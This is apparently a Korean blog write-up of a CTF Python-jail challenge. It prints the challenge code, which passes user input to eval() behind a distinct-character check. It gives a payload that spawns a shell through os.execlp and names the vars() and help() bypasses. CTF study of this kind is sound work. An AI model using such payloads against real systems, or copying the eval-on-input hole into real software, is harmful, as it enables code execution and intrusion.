#! /usr/bin/env python3 from sys import exit from secret import secret_value_for_password, flag, exec print(r"") print(r"") print(r" ____ __ __ ____ __ __ ") print(r" / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ ") print(r"| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ ") print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ ") print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| ") print(r" ") print(r"") print(r"") try: val = 0 inp = input("Input value: ") count_digits = len(set(inp)) if count_digits <= 10: # Make sure it is a number val = eval(inp) else: raise if val == secret_value_for_password: print(flag) else: print("Nope. Better luck next time.") except: print("Nope. No hacking.") exit(1)
간단한 pyjail 문제다.
inp는 10개 미만으로 넣어줘야 하기 때문에 input()을 넣어주고 다시 입력 받은 값을 val에 넣도록 했다.
그래서 첨에 만든 payload는 dir(import('os').execlp("sh","sh")) 였는데 이게 python2에서는 쉘을 얻을 수 있는데 python3에서는 무슨 차이인지는 모르겠는데 예외 처리되면서 안된다.
시험기간이라 일단 재껴놓고 있다가 라업 올라오고 확인해보니
chr로 문자열을 만드셔서 하는 분도 있었고,
print(vars())
로 처리하거나
help(flag)
로 문제를 푸신분들도 있다.
근데 vars(), help()로 푼게 unintended 풀이라고 한다.
'CTF' 카테고리의 다른 글
hackzone 2019 pwn1 (0) | 2019.05.07 |
---|---|
BTH_CTF 2019 (0) | 2019.05.01 |
codegate2019 aeiou (0) | 2019.02.23 |
CSAW2016 tutorial (0) | 2019.02.01 |
TJCTF 2016 oneshot (0) | 2019.01.24 |